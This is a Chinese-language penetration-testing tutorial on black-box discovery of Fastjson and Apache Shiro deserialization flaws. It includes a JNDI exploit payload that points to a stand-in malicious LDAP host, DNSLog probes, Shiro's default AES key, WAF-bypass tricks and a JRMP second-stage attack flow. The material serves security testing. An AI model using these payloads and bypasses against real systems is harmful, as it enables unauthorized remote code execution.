实战中Java反序列化漏洞黑盒挖掘思路
字数 3141 2025-10-13 22:56:21
实战中Java反序列化漏洞黑盒挖掘思路
文档概述
本文档基于实战经验,系统性地阐述了在黑盒测试场景下,挖掘Java反序列化漏洞的思路与方法。核心聚焦于两种最常见的类型:Fastjson反序列化漏洞和Shiro反序列化漏洞,并提供了从漏洞探测、指纹识别到漏洞利用及WAF绕过的完整链条。
一、 Fastjson反序列化漏洞挖掘
Fastjson是阿里巴巴开源的JSON解析库,其反序列化漏洞因其广泛存在而备受关注。
1.1 漏洞存在性判断(指纹识别)
核心思路: 判断目标应用是否使用了Fastjson组件进行JSON解析。
- 方法一:查看数据包格式
- 观察HTTP请求数据包,如果传输的数据格式为JSON(
Content-Type: application/json),则存在使用Fastjson的可能。
- 观察HTTP请求数据包,如果传输的数据格式为JSON(
- 方法二:语法错误探测法
- 这是一个非常有效的指纹识别方法。在JSON数据包中,故意制造语法错误,例如删除一个闭合的花括号
}。 - 关键点: 观察服务器返回的错误信息。如果报错信息中包含了
fastjson、com.alibaba.fastjson.JSONException等关键字,则可以确定目标使用了Fastjson。
- 这是一个非常有效的指纹识别方法。在JSON数据包中,故意制造语法错误,例如删除一个闭合的花括号
- 方法三:DNSLog外带探测
- 这是一种无回显情况下的探测方法。向目标发送一个精心构造的Payload,如果目标存在漏洞且可以出网,则会触发对外部DNS服务器的请求,从而在DNSLog平台上收到记录。
- 常用探测Payload:
{"zero":{"@type":"java.net.Inet4Address","val":"your-dnslog-domain.dnslog.cn"}} - 如果收到DNS解析记录,则证明存在Fastjson,并且版本可能在1.2.24至1.2.83之间。
1.2 版本探测与利用链选择
在确认存在Fastjson后,需要判断其版本,以选择合适的利用链。
- 版本探测Payload:
{"@type":"java.lang.AutoCloseable"a["test":1]- 这是一个错误的JSON语法。不同版本的Fastjson对语法错误的处理方式不同,通过对比错误回显可以大致判断版本范围。
- 利用链选择:
- 情况一:目标出网,且版本 <= 1.2.47(通杀链)
- 这是最经典的利用链,利用
JdbcRowSetImpl类触发JNDI注入,加载远程恶意对象。 - 利用Payload:
{ "v47": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "xxx": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://your-malicious-server.com/Exploit", "autoCommit": true } }
- 这是最经典的利用链,利用
- 情况二:目标不出网
- 当无法进行JNDI注入时,需要寻找不出网的利用链。这些链通常依赖目标ClassPath中存在的特定库。
- 关键点: 通过触发特定类的异常,根据HTTP响应长度或错误信息的变化来判断链子是否存在。
- 可尝试的类(如果目标环境中存在这些库,则可能成功):
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource(c3p0二次反序列化链)org.apache.tomcat.dbcp.dbcp.BasicDataSourceorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceorg.apache.ibatis.datasource.unpooled.UnpooledDataSource
- 工具辅助: 可以使用 Java Chains 等工具来生成各种不出网利用链的Payload。
- 情况一:目标出网,且版本 <= 1.2.47(通杀链)
二、 Apache Shiro反序列化漏洞挖掘
Shiro是一个Java安全框架,其RememberMe功能的反序列化漏洞是另一个高危点。
2.1 漏洞存在性判断与密钥爆破
核心思路: Shiro会将用户的身份信息序列化、加密后存储在Cookie的rememberMe字段中。如果加密密钥(AES Key)强度弱或泄露,攻击者可以伪造恶意序列化数据。
- 指纹识别:
- 检查HTTP响应头中的
Set-Cookie字段,或者请求包中是否存在Cookie: rememberMe=...。只要存在rememberMe参数,无论值为何,都表明可能使用了Shiro的该功能。
- 检查HTTP响应头中的
- 密钥爆破:
- Shiro框架的默认密钥是硬编码在代码中的(如
kPH+bIxk5D2deZiIxcaaaA==),很多开发人员不会修改它。攻击者可以使用常见的密钥字典进行爆破。 - 爆破原理: 使用一个已知的、能触发DNS请求的序列化Payload(例如URLDNS),用字典中的每个密钥进行加密,然后作为
rememberMe的值发送给服务器。如果密钥正确,Shiro会成功解密并反序列化数据,触发DNS请求。通过监测DNSLog是否收到记录来判断密钥是否正确。
- Shiro框架的默认密钥是硬编码在代码中的(如
2.2 WAF绕过技巧
在实际攻防中,WAF可能会拦截rememberMe关键字或序列化数据特征。
- 方法一:Cookie名称污染
- 在
rememberMe这个Cookie名称中插入特殊字符(脏数据),Shiro在解析时可能会忽略这些字符,而WAF可能进行严格匹配。 - 示例: 将
Cookie: rememberMe=payload改为Cookie: remember@Me=payload或Cookie: remember$Me=payload。 - 工具: 原文作者提供了一个自动化脚本,用于在
rememberMe中插入脏数据以绕过WAF。
- 在
- 方法二:POST数据污染
- 将请求方式从GET改为POST,并在POST Body中添加大量无用的脏数据(例如4MB的垃圾数据),以拖慢WAF的检测速度或导致其检测失败,同时将恶意的
rememberMe放在Cookie中。
- 将请求方式从GET改为POST,并在POST Body中添加大量无用的脏数据(例如4MB的垃圾数据),以拖慢WAF的检测速度或导致其检测失败,同时将恶意的
2.3 有Key无链的处理
场景: 爆破出了正确的AES Key,但使用常见的利用链(如CommonsCollections, CB链)无法成功。这可能是因为目标环境中没有相应的依赖库,或者代码中存在过滤。
- 方法一:尝试其他利用链
- Shiro默认可能只包含CB链,但目标应用可能引入了其他库。使用 Java Chains 等工具,遍历所有可能的Gadget链,并通过DNSLog外带或响应时间延迟来判断链子是否可用。
- 方法二:JRMP二次反序列化
- 这是一种非常有效的绕过方式,尤其适用于仅过滤了危险类名(如
Runtime,ProcessBuilder)的情况。 - 利用流程:
- 攻击者在本机启动一个恶意的JRMP监听器。
- 向目标Shiro发送一个特殊的Payload,这个Payload本身不直接执行命令,而是指示目标服务器通过JRMP协议连接到攻击者控制的服务器。
- 目标服务器连接后,攻击者的JRMP服务会返回一个恶意的序列化对象(包含真正的命令执行代码)。
- 目标服务器在反序列化这个对象时执行命令。
- 优势: 将“要执行什么代码”这一步放到了攻击者服务器上,从而绕过了目标应用对序列化数据内容的直接过滤。
- 这是一种非常有效的绕过方式,尤其适用于仅过滤了危险类名(如
总结与工具
| 漏洞类型 | 关键探测点 | 利用条件 | 常用工具 |
|---|---|---|---|
| Fastjson | 1. JSON数据格式 2. 语法错误报错信息 3. DNSLog外带请求 |
1. 版本 <= 1.2.83 2. 目标ClassPath中存在利用链依赖 |
DNSLog平台、Java Chains |
| Shiro | 1. 存在rememberMe Cookie2. DNSLog外带请求(密钥正确时) |
1. 使用弱密钥或默认密钥 2. 目标ClassPath中存在利用链依赖 |
密钥爆破工具(如ShiroAttack2)、Java Chains、JRMP监听器 |
核心提醒: 所有测试应在获得授权的前提下进行。本文提及的技术仅用于安全研究和授权测试,请勿用于非法用途。
希望这份详尽的教学文档能对您有所帮助!